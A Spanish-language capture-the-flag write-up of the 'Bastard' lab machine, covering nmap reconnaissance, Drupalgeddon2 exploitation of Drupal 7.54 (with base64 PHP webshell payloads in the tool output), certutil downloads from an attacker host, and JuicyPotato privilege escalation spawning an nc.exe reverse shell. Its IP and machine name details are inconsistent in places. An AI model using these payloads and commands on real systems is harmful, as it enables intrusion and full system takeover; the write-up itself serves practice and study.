Bastard - Writeup

Bastard - Writeup

mié. 01 ene 2025
9 minutos


Bastard es una máquina Windows sencilla interesante para principiantes que quieran practicar la explotación de vulnerabilidades web en entornos Windows.

Reconocimiento Link to Reconocimiento

Empezaremos escaneando los puertos abiertos de la máquina Devel cuya IP es 10.10.10.15 con nmap.

BASH
1
2
3
4
5
6
7
8
9
sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -v 10.10.10.9 -oG allPorts

Nmap scan report for 10.10.10.9
Host is up (0.21s latency).

PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
49154/tcp open  unknown

Ahora enumeramos los servicios que corren en estos puertos:

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo nmap -sCV -p80,135,49154 10.10.10.9 -oN targeted

Nmap scan report for 10.10.10.9
Host is up (0.10s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Bastard | Bastard
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC

Como se puede observar, la máquina tiene el puerto 80 abierto con el servicio http.

Para poder ver las tecnologías que usa la web usaremos whatweb:

BASH
1
2
3
whatweb http://10.10.10.15

http://10.10.10.9 [200 OK] Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.9], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], Microsoft-IIS[7.5], PHP[5.3.28,], PasswordField[pass], Script[text/javascript], Title[Welcome to Bastard | Bastard], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.3.28, ASP.NET]

Podemos ver que corre el servicio de Drupal. Para poder ver su versión:

BASH
1
2
3
4
curl -s http://10.10.10.9/CHANGELOG.txt

Drupal 7.54, 2017-02-01
...

Como podemos ver, la versión es 7.54. Si lo buscamos en searchsploit podemos ver que es vulnerable:

PLAINTEXT
1
2
3
4
5
6
7
8
9
10
11
12
searchsploit drupal 7
----------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                   |  Path
----------------------------------------------------------------------------------------------------------------- ---------------------------------
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)                                         | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)                                         | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)                                      | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution                              | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)                          | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)                          | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)                                 | php/webapps/44448.py
----------------------------------------------------------------------------------------------------------------- ---------------------------------

En mi caso utilizaré php/webapps/44449.rb que explota Drupalgeddon2.

Explotación Link to Explotación

Usamos el exploit:

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
ruby 44449.rb http://10.10.10.9

[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.10.10.9/
--------------------------------------------------------------------------------
[+] Found  : http://10.10.10.9/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.54
--------------------------------------------------------------------------------
[*] Testing: Form   (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo VVWNWTOT
[+] Result : VVWNWTOT
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file   (http://10.10.10.9/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)...   Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Existing file   (http://10.10.10.9/sites/default/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)...   Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Existing file   (http://10.10.10.9/sites/default/files/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)...   Might not have write access?
[!] FAILED : Couldn't find a writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct OS commands

drupalgeddon2>> 

Escalada de privilegios Link to Escalada de privilegios

Si vemos nuestros privilegios con whoami /priv veremos que tenemos SetImpersonatePrivilege. Esto quiere decir que es vulnerable a JuicyPotato.

En mi caso lo descargué desde ohpe/juicy-potato.

Ahora hay que transferir nc.exe y JuicyPotato.exe a la máquina víctima. Para ellos nos movemos a c:\windows\temp\privesc para que no haya problemas de permisos.

Nos ponemos en escucha por el servicio http con python en la carpeta donde se encuentran los dos ejecutables:

BASH
1
sudo python3 -m http.server 80

Y los descargamos desde la máquina víctima con certutil.exe:

CMD
1
2
certutil.exe -f -urlcache -split http://<ip_atacante>/nc.exe nc.exe
certutil.exe -f -urlcache -split http://<ip_atacante>/JuicyPotato.exe JuicyPotato.exe

Una vez con los ejecutables en la máquina víctima, nos ponemos en escucha en la máquina atacante para entablar otra reverse shell (en mi caso usaré el puerto 4321):

BASH
1
sudo rlwrap nc -nlvp 4321

Para ejecutar en este caso correctamente el JuicyPotato debemos de consultar la versión de windows y cuál es su CLSID.

Y ahora usamos el JuicyPotato.exe en la máquina víctima:

CMD
1
2
3
4
5
6
7
8
c:\Windows\Temp\privesc>JuicyPotato.exe -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} -l 4443 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\Privesc\nc.exe -e cmd <ip atacante> 4321"
JuicyPotato.exe -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} -l 4443 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\Privesc\nc.exe -e cmd <ip atacante> 4321"
Testing {e60687f7-01a1-40aa-86ac-db1cbf673334} 4443
....
[+] authresult 0
{e60687f7-01a1-40aa-86ac-db1cbf673334};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

El CLSID es el valor -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

Habiendo hecho esto, seremos NT AUTHORITY\SYSTEM y podemos obtener la flag de user.txt:

CMD
1
2
3
4
5
6
7
8
9
10
11
12
13
c:\Users\dimitris\Desktop>dir

 Directory of C:\Users\dimitris\Desktop

19/03/2017  08:04 ��    <DIR>          .
19/03/2017  08:04 ��    <DIR>          ..
28/12/2024  12:52 ��                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   4.134.584.320 bytes free

C:\Users\dimitris\Desktop>type user.txt
type user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Y la flag de root.txt:

CMD
1
2
3
4
5
6
7
8
9
10
11
12
13
C:\Users\Administrator\Desktop>dir

 Directory of C:\Users\Administrator\Desktop

08/02/2022  04:50 ��    <DIR>          .
08/02/2022  04:50 ��    <DIR>          ..
28/12/2024  12:52 ��                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   4.134.203.392 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Con esto concluye la máquina Bastard. Si quieres más writeups de máquinas para la OSCP accede aquí: máquinas para la OSCP.